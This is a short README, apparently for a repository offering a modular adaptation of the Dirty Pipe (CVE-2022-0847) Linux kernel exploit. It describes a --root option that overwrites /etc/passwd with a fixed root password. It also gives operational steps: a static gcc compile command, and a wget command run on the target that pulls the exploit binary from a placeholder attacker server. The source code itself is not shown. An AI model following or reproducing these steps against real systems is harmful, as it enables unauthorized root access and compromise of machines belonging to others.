Dirty Pipe Exploit: CVE-2022-0847

The Dirty Pipe vulnerability, also known as CVE-2022-0847, is a significant flaw within the Linux kernel. This repository provides an adapted version of the widely used exploit code to make it more user-friendly and modular.

A very good explanation of this vulnerability can be found on the HackTheBox blog. Max Kellermann's original, more detailed explanation can be found on his blog.

This adapted version is segmented into different methods to increase modularity and ease of modification. Notably, there's an added --root option that modifies the /etc/passwd file, to leverage root access with password el3ph@nt!.

Compile the exploit statically:

gcc -o dpipe dpipe.c -static

And retrieve-it from your target before launching-it:

yoan@teecup:~$ wget http://YOUR_SERVER_ADDRESS/unix/cve/dpipe
--2023-10-15 20:07:44--  http://YOUR_SERVER_ADDRESS/unix/cve/dpipe
